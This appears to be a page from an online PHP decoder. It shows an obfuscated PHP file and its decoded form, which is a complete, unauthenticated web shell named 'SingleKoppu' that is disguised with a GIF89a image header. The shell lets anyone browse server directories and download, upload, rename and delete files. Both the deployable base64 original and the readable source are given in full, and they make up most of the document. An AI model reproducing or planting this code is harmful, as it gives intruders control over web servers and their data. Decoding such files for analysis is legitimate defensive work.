Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIEQySDNoOyBaM0Y2czogJGVycm9yID0gJGtvcHB1LT5hdXRvKCRfR0VU..
Decoded Output download
goto D2H3h; Z3F6s: $error = $koppu->auto($_GET, $_FILES, $_POST); goto JXlTZ; pTVFW: ?>
"koppu="dir"><pre>
<?php goto S90hD; xRyye: ?>
"enctype="multipart/form-data"method="POST"multipart=""><td colspan="3"><input type="file"multiple name="filesUpload[]"><input type="submit"value="Upload"></td></form></tr></table><p><a href="?goDir=<?php goto srfbP; B8Ism: ?>
"><?php goto IGFlc; AMwvB: ?>
<tr><td colspan="2"><input placeholder="Create folder"koppu-folder-input><input type="button"value="Create"koppu-folder-action></td><form action="?curDir=<?php goto SpyWp; JXlTZ: $list = $koppu->fileList(); goto hC1ZZ; SpyWp: echo $koppu->dir; goto xRyye; IGFlc: echo $koppu->dir; goto Px8j_; Wl1Ww: class SingleKoppu { public $dir; public $url; function __construct($curDir = null) { if ($curDir == null) { $info = pathinfo(__FILE__); $this->dir = $info["dirname"]; } else { $this->dir = $curDir; } } function fileList() { $files = array_slice(scandir($this->dir), 2); $list = array(); for ($i = 0; $i < sizeof($files); $i++) { $type = filetype($this->dir . "/" . $files[$i]); $download = "?download={$files[$i]}&type={$type}&curDir={$this->dir}"; $list[] = array("file" => $files[$i], "type" => $type, "download" => $download, "delete" => "?delete={$files[$i]}&type={$type}&curDir={$this->dir}", "view" => $type == "dir" ? "?goDir={$this->dir}/{$files[$i]}&curDir={$this->dir}" : $download); } return $list; } function rename($data) { $info = rename($data["curDir"] . "/" . $data["rename"], $data["curDir"] . "/" . $data["newName"]); $this->dir = $data["curDir"]; } function download($data) { if ($data["type"] == "file") { $file = $data["curDir"] . "/" . $data["download"]; header("Content-Description: File Transfer"); header("Content-Type:application/octet-stream"); header("Accept-Ranges: bytes"); header("Content-Length: " . filesize($file)); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Disposition: attachment; filename=" . $data["download"]); flush(); readfile($file); die; } else { if ($data["type"] == "dir") { echo "zip download not done.......<br>"; } } } function delete($data) { if ($data["type"] == "dir") { $info = rmdir($data["curDir"] . "/" . $data["delete"]); } else { if ($data["type"] == "file") { $info = unlink($data["curDir"] . "/" . $data["delete"]); } } $this->dir = $data["curDir"]; } function goDir($dir) { $this->dir = $dir; } function backDir($dir) { $dirAr = explode("/", $dir); array_pop($dirAr); $bkdir = implode("/", $dirAr); $this->dir = $bkdir; } function createFolder($data) { $info = mkdir($data["curDir"] . "/" . $data["createFolder"], 511); $this->dir = $data["curDir"]; } function filesUpload($files, $dir) { for ($i = 0; $i < sizeof($files["filesUpload"]["error"]); $i++) { if ($files["filesUpload"]["error"][$i] == 0) { move_uploaded_file($files["filesUpload"]["tmp_name"][$i], $dir . "/" . $files["filesUpload"]["name"][$i]); } } $this->dir = $dir; } function auto($get, $files, $post) { if (isset($get["goDir"])) { $this->goDir($get["goDir"]); } if (isset($get["backDir"])) { $this->backDir($get["backDir"]); } if (isset($get["rename"])) { $this->rename($get); } if (isset($get["download"])) { $this->download($get); } if (isset($get["delete"])) { $this->delete($get); } if (isset($get["createFolder"])) { $this->createFolder($get); } if (isset($files["filesUpload"])) { $this->filesUpload($files, $get["curDir"]); } return error_get_last(); } } goto wUZUa; D2H3h: ?>
GIF89aA<?php goto Wl1Ww; hC1ZZ: ?>
<!doctypehtml><html><head><title>SingleKoppu v1.0</title></head><body><table><tr><th>Name</th><th>Type</th><th>Dwonload</th><th>Rename</th><th>Dalete</th></tr><tr><td colspan="5"><hr></td></tr><tr><td><a href="?backDir=<?php goto q_rd2; Px8j_: ?>
</a></p><input type="hidden"value="<?php goto bAt3B; bAt3B: echo $koppu->dir; goto pTVFW; be0Eg: ?>
">../back</a></td><td align="center">[dir]</td><td align="center">null</td><td align="center">null</td><td align="center">null</td></tr><tr><td colspan="5"><hr></td></tr><?php goto e_p9i; srfbP: echo $koppu->dir; goto B8Ism; wUZUa: $koppu = new SingleKoppu(); goto Z3F6s; e_p9i: for ($i = 0; $i < sizeof($list); $i++) { ?>
<tr><td><a href="<?php echo $list[$i]["view"]; ?>
"><?php echo $list[$i]["file"]; ?>
</a></td><td align="center">[<?php echo $list[$i]["type"]; ?>
]</td><td align="center"><a href="<?php echo $list[$i]["download"]; ?>
"><b></b></a></td><td><input value="<?php echo $list[$i]["file"]; ?>
"koppu-rename-input><input type="button"value="Rename"koppu-data="<?php echo $list[$i]["file"]; ?>
"koppu-data-new="<?php echo $list[$i]["file"]; ?>
"koppu-data-type="<?php echo $list[$i]["type"]; ?>
"koppu-rename-action></td><td align="center"><a href="<?php echo $list[$i]["delete"]; ?>
"></a></td></tr><tr><td colspan="5"><hr></td></tr><?php } goto AMwvB; q_rd2: echo $koppu->dir; goto be0Eg; S90hD: print_r($error); goto mJpTu; mJpTu: ?>
</pre><script>var singleKoppu = {
renameInput: function(elem) {
elem.nextElementSibling.setAttribute('koppu-data-new', elem.value);
},
renameAction: function(elem) {
var dir = document.querySelector('input[koppu=dir]');
window.location.href=`?rename=${elem.getAttribute('koppu-data')}&newName=${elem.getAttribute('koppu-data-new')}&type=${elem.getAttribute('koppu-data-type')}&curDir=${dir.value}`;
},
folderAction: function(elem) {
var dir = document.querySelector('input[koppu=dir]');
var input = document.querySelector('input[koppu-folder-input]');
window.location.href = `?createFolder=${input.value}&curDir=${dir.value}`;
}
};
var kRi = document.querySelectorAll('input[koppu-rename-input]');
for (let i = 0; i < kRi.length; i++) {
kRi[i].addEventListener('input', function() {
singleKoppu.renameInput(kRi[i]);
});
}
var kRa = document.querySelectorAll('input[koppu-rename-action]');
for (let i = 0; i < kRa.length; i++) {
kRa[i].addEventListener('click', function() {
singleKoppu.renameAction(kRa[i]);
});
}
document.querySelector('input[koppu-folder-action]').addEventListener('click', function() {
singleKoppu.folderAction(this);
});</script></body></htm
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIEQySDNoOyBaM0Y2czogJGVycm9yID0gJGtvcHB1LT5hdXRvKCRfR0VULCAkX0ZJTEVTLCAkX1BPU1QpOyBnb3RvIEpYbFRaOyBwVFZGVzogPz4KImtvcHB1PSJkaXIiPjxwcmU+Cjw/cGhwICBnb3RvIFM5MGhEOyB4Unl5ZTogPz4KImVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEibWV0aG9kPSJQT1NUIm11bHRpcGFydD0iIj48dGQgY29sc3Bhbj0iMyI+PGlucHV0IHR5cGU9ImZpbGUibXVsdGlwbGUgbmFtZT0iZmlsZXNVcGxvYWRbXSI+PGlucHV0IHR5cGU9InN1Ym1pdCJ2YWx1ZT0iVXBsb2FkIj48L3RkPjwvZm9ybT48L3RyPjwvdGFibGU+PHA+PGEgaHJlZj0iP2dvRGlyPTw/cGhwICBnb3RvIHNyZmJQOyBCOElzbTogPz4KIj48P3BocCAgZ290byBJR0ZsYzsgQU13dkI6ID8+Cjx0cj48dGQgY29sc3Bhbj0iMiI+PGlucHV0IHBsYWNlaG9sZGVyPSJDcmVhdGUgZm9sZGVyImtvcHB1LWZvbGRlci1pbnB1dD48aW5wdXQgdHlwZT0iYnV0dG9uInZhbHVlPSJDcmVhdGUia29wcHUtZm9sZGVyLWFjdGlvbj48L3RkPjxmb3JtIGFjdGlvbj0iP2N1ckRpcj08P3BocCAgZ290byBTcHlXcDsgSlhsVFo6ICRsaXN0ID0gJGtvcHB1LT5maWxlTGlzdCgpOyBnb3RvIGhDMVpaOyBTcHlXcDogZWNobyAka29wcHUtPmRpcjsgZ290byB4Unl5ZTsgSUdGbGM6IGVjaG8gJGtvcHB1LT5kaXI7IGdvdG8gUHg4al87IFdsMVd3OiBjbGFzcyBTaW5nbGVLb3BwdSB7IHB1YmxpYyAkZGlyOyBwdWJsaWMgJHVybDsgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJGN1ckRpciA9IG51bGwpIHsgaWYgKCRjdXJEaXIgPT0gbnVsbCkgeyAkaW5mbyA9IHBhdGhpbmZvKF9fRklMRV9fKTsgJHRoaXMtPmRpciA9ICRpbmZvWyJceDY0XHg2OVx4NzJcMTU2XDE0MVwxNTVcMTQ1Il07IH0gZWxzZSB7ICR0aGlzLT5kaXIgPSAkY3VyRGlyOyB9IH0gZnVuY3Rpb24gZmlsZUxpc3QoKSB7ICRmaWxlcyA9IGFycmF5X3NsaWNlKHNjYW5kaXIoJHRoaXMtPmRpciksIDIpOyAkbGlzdCA9IGFycmF5KCk7IGZvciAoJGkgPSAwOyAkaSA8IHNpemVvZigkZmlsZXMpOyAkaSsrKSB7ICR0eXBlID0gZmlsZXR5cGUoJHRoaXMtPmRpciAuICJceDJmIiAuICRmaWxlc1skaV0pOyAkZG93bmxvYWQgPSAiXDc3XDE0NFx4NmZceDc3XDE1Nlx4NmNcMTU3XHg2MVwxNDRceDNkeyRmaWxlc1skaV19XHgyNlx4NzRceDc5XDE2MFx4NjVceDNkeyR0eXBlfVx4MjZcMTQzXDE2NVwxNjJcMTA0XHg2OVx4NzJcNzV7JHRoaXMtPmRpcn0iOyAkbGlzdFtdID0gYXJyYXkoIlwxNDZceDY5XDE1NFx4NjUiID0+ICRmaWxlc1skaV0sICJcMTY0XHg3OVx4NzBcMTQ1IiA9PiAkdHlwZSwgIlx4NjRcMTU3XDE2N1wxNTZceDZjXDE1N1wxNDFcMTQ0IiA9PiAkZG93bmxvYWQsICJcMTQ0XDE0NVx4NmNceDY1XDE2NFx4NjUiID0+ICJceDNmXHg2NFwxNDVcMTU0XDE0NVwxNjRceDY1XDc1eyRmaWxlc1skaV19XDQ2XDE2NFx4NzlcMTYwXHg2NVw3NXskdHlwZX1ceDI2XHg2M1wxNjVceDcyXDEwNFx4NjlceDcyXHgzZHskdGhpcy0+ZGlyfSIsICJceDc2XDE1MVwxNDVcMTY3IiA9PiAkdHlwZSA9PSAiXHg2NFwxNTFceDcyIiA/ICJceDNmXDE0N1x4NmZcMTA0XHg2OVx4NzJcNzV7JHRoaXMtPmRpcn1cNTd7JGZpbGVzWyRpXX1cNDZcMTQzXDE2NVx4NzJcMTA0XDE1MVwxNjJcNzV7JHRoaXMtPmRpcn0iIDogJGRvd25sb2FkKTsgfSByZXR1cm4gJGxpc3Q7IH0gZnVuY3Rpb24gcmVuYW1lKCRkYXRhKSB7ICRpbmZvID0gcmVuYW1lKCRkYXRhWyJcMTQzXHg3NVwxNjJceDQ0XHg2OVwxNjIiXSAuICJcNTciIC4gJGRhdGFbIlwxNjJceDY1XDE1NlwxNDFcMTU1XHg2NSJdLCAkZGF0YVsiXDE0M1x4NzVcMTYyXDEwNFx4NjlceDcyIl0gLiAiXDU3IiAuICRkYXRhWyJceDZlXHg2NVx4NzdceDRlXHg2MVwxNTVcMTQ1Il0pOyAkdGhpcy0+ZGlyID0gJGRhdGFbIlx4NjNceDc1XHg3Mlx4NDRcMTUxXHg3MiJdOyB9IGZ1bmN0aW9uIGRvd25sb2FkKCRkYXRhKSB7IGlmICgkZGF0YVsiXHg3NFx4NzlcMTYwXDE0NSJdID09ICJcMTQ2XDE1MVx4NmNceDY1IikgeyAkZmlsZSA9ICRkYXRhWyJcMTQzXDE2NVx4NzJceDQ0XHg2OVwxNjIiXSAuICJceDJmIiAuICRkYXRhWyJcMTQ0XDE1N1x4NzdcMTU2XHg2Y1wxNTdcMTQxXDE0NCJdOyBoZWFkZXIoIlwxMDNcMTU3XDE1Nlx4NzRcMTQ1XHg2ZVx4NzRcNTVcMTA0XHg2NVx4NzNcMTQzXDE2MlwxNTFceDcwXDE2NFwxNTFcMTU3XDE1Nlw3Mlx4MjBcMTA2XHg2OVwxNTRceDY1XHgyMFx4NTRcMTYyXDE0MVwxNTZcMTYzXHg2NlwxNDVceDcyIik7IGhlYWRlcigiXHg0M1x4NmZcMTU2XHg3NFwxNDVcMTU2XHg3NFw1NVwxMjRcMTcxXHg3MFwxNDVceDNhXDE0MVx4NzBcMTYwXHg2Y1x4NjlcMTQzXHg2MVwxNjRceDY5XHg2Zlx4NmVceDJmXHg2ZlwxNDNceDc0XHg2NVx4NzRceDJkXHg3M1x4NzRcMTYyXDE0NVwxNDFceDZkIik7IGhlYWRlcigiXHg0MVwxNDNcMTQzXDE0NVx4NzBceDc0XHgyZFwxMjJceDYxXHg2ZVx4NjdcMTQ1XHg3M1w3Mlw0MFx4NjJceDc5XHg3NFwxNDVcMTYzIik7IGhlYWRlcigiXHg0M1x4NmZceDZlXDE2NFx4NjVcMTU2XDE2NFw1NVx4NGNceDY1XDE1Nlx4NjdceDc0XDE1MFw3Mlx4MjAiIC4gZmlsZXNpemUoJGZpbGUpKTsgaGVhZGVyKCJcMTA1XDE3MFx4NzBcMTUxXHg3Mlx4NjVceDczXDcyXDQwXDYwIik7IGhlYWRlcigiXDEwM1x4NjFcMTQzXHg2OFwxNDVceDJkXHg0M1wxNTdceDZlXHg3NFwxNjJcMTU3XDE1NFx4M2FceDIwXHg2ZFwxNjVceDczXDE2NFw1NVx4NzJceDY1XDE2Nlx4NjFcMTU0XHg2OVwxNDRcMTQxXDE2NFx4NjUiKTsgaGVhZGVyKCJcMTIwXHg3MlwxNDFceDY3XHg2ZFx4NjFcNzJceDIwXDE2MFwxNjVcMTQyXDE1NFwxNTFcMTQzIik7IGhlYWRlcigiXDEwM1wxNTdcMTU2XHg3NFwxNDVceDZlXDE2NFw1NVwxMDRcMTUxXDE2M1wxNjBcMTU3XHg3M1wxNTFceDc0XDE1MVx4NmZcMTU2XDcyXHgyMFwxNDFceDc0XDE2NFwxNDFcMTQzXHg2OFx4NmRcMTQ1XDE1Nlx4NzRcNzNcNDBcMTQ2XDE1MVwxNTRceDY1XDE1Nlx4NjFcMTU1XDE0NVx4M2QiIC4gJGRhdGFbIlx4NjRcMTU3XDE2N1x4NmVcMTU0XHg2Zlx4NjFceDY0Il0pOyBmbHVzaCgpOyByZWFkZmlsZSgkZmlsZSk7IGRpZTsgfSBlbHNlIHsgaWYgKCRkYXRhWyJceDc0XDE3MVx4NzBceDY1Il0gPT0gIlwxNDRceDY5XHg3MiIpIHsgZWNobyAiXDE3Mlx4NjlceDcwXDQwXDE0NFx4NmZceDc3XDE1Nlx4NmNcMTU3XDE0MVwxNDRcNDBceDZlXDE1N1wxNjRcNDBceDY0XDE1N1wxNTZceDY1XHgyZVx4MmVceDJlXHgyZVw1Nlw1Nlw1Nlx4M2NcMTQyXDE2Mlw3NiI7IH0gfSB9IGZ1bmN0aW9uIGRlbGV0ZSgkZGF0YSkgeyBpZiAoJGRhdGFbIlx4NzRceDc5XDE2MFwxNDUiXSA9PSAiXDE0NFwxNTFceDcyIikgeyAkaW5mbyA9IHJtZGlyKCRkYXRhWyJcMTQzXHg3NVx4NzJceDQ0XHg2OVwxNjIiXSAuICJceDJmIiAuICRkYXRhWyJceDY0XDE0NVx4NmNcMTQ1XHg3NFx4NjUiXSk7IH0gZWxzZSB7IGlmICgkZGF0YVsiXHg3NFwxNzFceDcwXDE0NSJdID09ICJceDY2XDE1MVwxNTRceDY1IikgeyAkaW5mbyA9IHVubGluaygkZGF0YVsiXDE0M1x4NzVceDcyXHg0NFx4NjlceDcyIl0gLiAiXHgyZiIgLiAkZGF0YVsiXHg2NFwxNDVcMTU0XHg2NVwxNjRceDY1Il0pOyB9IH0gJHRoaXMtPmRpciA9ICRkYXRhWyJceDYzXDE2NVwxNjJceDQ0XHg2OVwxNjIiXTsgfSBmdW5jdGlvbiBnb0RpcigkZGlyKSB7ICR0aGlzLT5kaXIgPSAkZGlyOyB9IGZ1bmN0aW9uIGJhY2tEaXIoJGRpcikgeyAkZGlyQXIgPSBleHBsb2RlKCJceDJmIiwgJGRpcik7IGFycmF5X3BvcCgkZGlyQXIpOyAkYmtkaXIgPSBpbXBsb2RlKCJceDJmIiwgJGRpckFyKTsgJHRoaXMtPmRpciA9ICRia2RpcjsgfSBmdW5jdGlvbiBjcmVhdGVGb2xkZXIoJGRhdGEpIHsgJGluZm8gPSBta2RpcigkZGF0YVsiXDE0M1x4NzVcMTYyXDEwNFx4NjlceDcyIl0gLiAiXDU3IiAuICRkYXRhWyJceDYzXDE2MlwxNDVceDYxXDE2NFx4NjVceDQ2XHg2ZlwxNTRcMTQ0XDE0NVwxNjIiXSwgNTExKTsgJHRoaXMtPmRpciA9ICRkYXRhWyJcMTQzXDE2NVwxNjJcMTA0XDE1MVwxNjIiXTsgfSBmdW5jdGlvbiBmaWxlc1VwbG9hZCgkZmlsZXMsICRkaXIpIHsgZm9yICgkaSA9IDA7ICRpIDwgc2l6ZW9mKCRmaWxlc1siXHg2NlwxNTFcMTU0XHg2NVx4NzNcMTI1XDE2MFwxNTRcMTU3XDE0MVx4NjQiXVsiXDE0NVx4NzJceDcyXDE1N1wxNjIiXSk7ICRpKyspIHsgaWYgKCRmaWxlc1siXDE0NlwxNTFceDZjXHg2NVx4NzNceDU1XHg3MFx4NmNceDZmXDE0MVx4NjQiXVsiXDE0NVwxNjJceDcyXDE1N1wxNjIiXVskaV0gPT0gMCkgeyBtb3ZlX3VwbG9hZGVkX2ZpbGUoJGZpbGVzWyJcMTQ2XHg2OVx4NmNcMTQ1XDE2M1wxMjVcMTYwXHg2Y1x4NmZceDYxXHg2NCJdWyJceDc0XDE1NVwxNjBceDVmXHg2ZVx4NjFceDZkXHg2NSJdWyRpXSwgJGRpciAuICJceDJmIiAuICRmaWxlc1siXHg2Nlx4NjlceDZjXDE0NVx4NzNcMTI1XHg3MFwxNTRcMTU3XDE0MVwxNDQiXVsiXHg2ZVwxNDFcMTU1XHg2NSJdWyRpXSk7IH0gfSAkdGhpcy0+ZGlyID0gJGRpcjsgfSBmdW5jdGlvbiBhdXRvKCRnZXQsICRmaWxlcywgJHBvc3QpIHsgaWYgKGlzc2V0KCRnZXRbIlx4NjdcMTU3XDEwNFx4NjlceDcyIl0pKSB7ICR0aGlzLT5nb0RpcigkZ2V0WyJcMTQ3XHg2ZlwxMDRcMTUxXDE2MiJdKTsgfSBpZiAoaXNzZXQoJGdldFsiXDE0MlwxNDFceDYzXHg2YlwxMDRceDY5XHg3MiJdKSkgeyAkdGhpcy0+YmFja0RpcigkZ2V0WyJcMTQyXDE0MVx4NjNcMTUzXHg0NFwxNTFceDcyIl0pOyB9IGlmIChpc3NldCgkZ2V0WyJcMTYyXDE0NVx4NmVceDYxXHg2ZFx4NjUiXSkpIHsgJHRoaXMtPnJlbmFtZSgkZ2V0KTsgfSBpZiAoaXNzZXQoJGdldFsiXHg2NFx4NmZcMTY3XHg2ZVx4NmNcMTU3XHg2MVwxNDQiXSkpIHsgJHRoaXMtPmRvd25sb2FkKCRnZXQpOyB9IGlmIChpc3NldCgkZ2V0WyJceDY0XDE0NVx4NmNceDY1XDE2NFx4NjUiXSkpIHsgJHRoaXMtPmRlbGV0ZSgkZ2V0KTsgfSBpZiAoaXNzZXQoJGdldFsiXDE0M1x4NzJceDY1XDE0MVx4NzRceDY1XDEwNlwxNTdcMTU0XDE0NFx4NjVcMTYyIl0pKSB7ICR0aGlzLT5jcmVhdGVGb2xkZXIoJGdldCk7IH0gaWYgKGlzc2V0KCRmaWxlc1siXHg2Nlx4NjlceDZjXHg2NVx4NzNcMTI1XHg3MFwxNTRceDZmXHg2MVx4NjQiXSkpIHsgJHRoaXMtPmZpbGVzVXBsb2FkKCRmaWxlcywgJGdldFsiXDE0M1wxNjVcMTYyXDEwNFx4NjlcMTYyIl0pOyB9IHJldHVybiBlcnJvcl9nZXRfbGFzdCgpOyB9IH0gZ290byB3VVpVYTsgRDJIM2g6ID8+CkdJRjg5YUE8P3BocCAgZ290byBXbDFXdzsgaEMxWlo6ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPlNpbmdsZUtvcHB1IHYxLjA8L3RpdGxlPjwvaGVhZD48Ym9keT48dGFibGU+PHRyPjx0aD5OYW1lPC90aD48dGg+VHlwZTwvdGg+PHRoPkR3b25sb2FkPC90aD48dGg+UmVuYW1lPC90aD48dGg+RGFsZXRlPC90aD48L3RyPjx0cj48dGQgY29sc3Bhbj0iNSI+PGhyPjwvdGQ+PC90cj48dHI+PHRkPjxhIGhyZWY9Ij9iYWNrRGlyPTw/cGhwICBnb3RvIHFfcmQyOyBQeDhqXzogPz4KPC9hPjwvcD48aW5wdXQgdHlwZT0iaGlkZGVuInZhbHVlPSI8P3BocCAgZ290byBiQXQzQjsgYkF0M0I6IGVjaG8gJGtvcHB1LT5kaXI7IGdvdG8gcFRWRlc7IGJlMEVnOiA/PgoiPi4uL2JhY2s8L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+W2Rpcl08L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj5udWxsPC90ZD48dGQgYWxpZ249ImNlbnRlciI+bnVsbDwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPm51bGw8L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSI1Ij48aHI+PC90ZD48L3RyPjw/cGhwICBnb3RvIGVfcDlpOyBzcmZiUDogZWNobyAka29wcHUtPmRpcjsgZ290byBCOElzbTsgd1VaVWE6ICRrb3BwdSA9IG5ldyBTaW5nbGVLb3BwdSgpOyBnb3RvIFozRjZzOyBlX3A5aTogZm9yICgkaSA9IDA7ICRpIDwgc2l6ZW9mKCRsaXN0KTsgJGkrKykgeyA/Pgo8dHI+PHRkPjxhIGhyZWY9Ijw/cGhwICBlY2hvICRsaXN0WyRpXVsiXHg3NlwxNTFcMTQ1XHg3NyJdOyA/PgoiPjw/cGhwICBlY2hvICRsaXN0WyRpXVsiXHg2NlwxNTFceDZjXDE0NSJdOyA/Pgo8L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+Wzw/cGhwICBlY2hvICRsaXN0WyRpXVsiXDE2NFwxNzFceDcwXDE0NSJdOyA/PgpdPC90ZD48dGQgYWxpZ249ImNlbnRlciI+PGEgaHJlZj0iPD9waHAgIGVjaG8gJGxpc3RbJGldWyJcMTQ0XDE1N1wxNjdcMTU2XHg2Y1x4NmZceDYxXHg2NCJdOyA/PgoiPjxiPuKJmjwvYj48L2E+PC90ZD48dGQ+PGlucHV0IHZhbHVlPSI8P3BocCAgZWNobyAkbGlzdFskaV1bIlx4NjZcMTUxXDE1NFx4NjUiXTsgPz4KImtvcHB1LXJlbmFtZS1pbnB1dD48aW5wdXQgdHlwZT0iYnV0dG9uInZhbHVlPSJSZW5hbWUia29wcHUtZGF0YT0iPD9waHAgIGVjaG8gJGxpc3RbJGldWyJcMTQ2XDE1MVx4NmNcMTQ1Il07ID8+CiJrb3BwdS1kYXRhLW5ldz0iPD9waHAgIGVjaG8gJGxpc3RbJGldWyJcMTQ2XHg2OVx4NmNceDY1Il07ID8+CiJrb3BwdS1kYXRhLXR5cGU9Ijw/cGhwICBlY2hvICRsaXN0WyRpXVsiXHg3NFwxNzFcMTYwXHg2NSJdOyA/Pgoia29wcHUtcmVuYW1lLWFjdGlvbj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj48YSBocmVmPSI8P3BocCAgZWNobyAkbGlzdFskaV1bIlx4NjRceDY1XDE1NFwxNDVceDc0XDE0NSJdOyA/PgoiPuKogjwvYT48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSI1Ij48aHI+PC90ZD48L3RyPjw/cGhwICB9IGdvdG8gQU13dkI7IHFfcmQyOiBlY2hvICRrb3BwdS0+ZGlyOyBnb3RvIGJlMEVnOyBTOTBoRDogcHJpbnRfcigkZXJyb3IpOyBnb3RvIG1KcFR1OyBtSnBUdTogPz4KPC9wcmU+PHNjcmlwdD52YXIgc2luZ2xlS29wcHUgPSB7CiAgICByZW5hbWVJbnB1dDogZnVuY3Rpb24oZWxlbSkgewogICAgICBlbGVtLm5leHRFbGVtZW50U2libGluZy5zZXRBdHRyaWJ1dGUoJ2tvcHB1LWRhdGEtbmV3JywgZWxlbS52YWx1ZSk7CiAgICB9LAogICAgcmVuYW1lQWN0aW9uOiBmdW5jdGlvbihlbGVtKSB7CiAgICAgIHZhciBkaXIgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdpbnB1dFtrb3BwdT1kaXJdJyk7CiAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmPWA/cmVuYW1lPSR7ZWxlbS5nZXRBdHRyaWJ1dGUoJ2tvcHB1LWRhdGEnKX0mbmV3TmFtZT0ke2VsZW0uZ2V0QXR0cmlidXRlKCdrb3BwdS1kYXRhLW5ldycpfSZ0eXBlPSR7ZWxlbS5nZXRBdHRyaWJ1dGUoJ2tvcHB1LWRhdGEtdHlwZScpfSZjdXJEaXI9JHtkaXIudmFsdWV9YDsKICAgIH0sCiAgICBmb2xkZXJBY3Rpb246IGZ1bmN0aW9uKGVsZW0pIHsKICAgICAgdmFyIGRpciA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2lucHV0W2tvcHB1PWRpcl0nKTsKICAgICAgdmFyIGlucHV0ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcignaW5wdXRba29wcHUtZm9sZGVyLWlucHV0XScpOwogICAgICB3aW5kb3cubG9jYXRpb24uaHJlZiA9IGA/Y3JlYXRlRm9sZGVyPSR7aW5wdXQudmFsdWV9JmN1ckRpcj0ke2Rpci52YWx1ZX1gOwogICAgfQogIH07CgogdmFyIGtSaSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ2lucHV0W2tvcHB1LXJlbmFtZS1pbnB1dF0nKTsKIGZvciAobGV0IGkgPSAwOyBpIDwga1JpLmxlbmd0aDsgaSsrKSB7CiAga1JpW2ldLmFkZEV2ZW50TGlzdGVuZXIoJ2lucHV0JywgZnVuY3Rpb24oKSB7CiAgICBzaW5nbGVLb3BwdS5yZW5hbWVJbnB1dChrUmlbaV0pOwogIH0pOwogfQoKIHZhciBrUmEgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdpbnB1dFtrb3BwdS1yZW5hbWUtYWN0aW9uXScpOwogZm9yIChsZXQgaSA9IDA7IGkgPCBrUmEubGVuZ3RoOyBpKyspIHsKICBrUmFbaV0uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbigpIHsKICAgIHNpbmdsZUtvcHB1LnJlbmFtZUFjdGlvbihrUmFbaV0pOwogIH0pOwogfSAKCiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdpbnB1dFtrb3BwdS1mb2xkZXItYWN0aW9uXScpLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oKSB7CiAgc2luZ2xlS29wcHUuZm9sZGVyQWN0aW9uKHRoaXMpOwogfSk7PC9zY3JpcHQ+PC9ib2R5PjwvaHRt')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 8bccc8a2dda74b47234245ad557a6538 |
Eval Count | 1 |
Decode Time | 61 ms |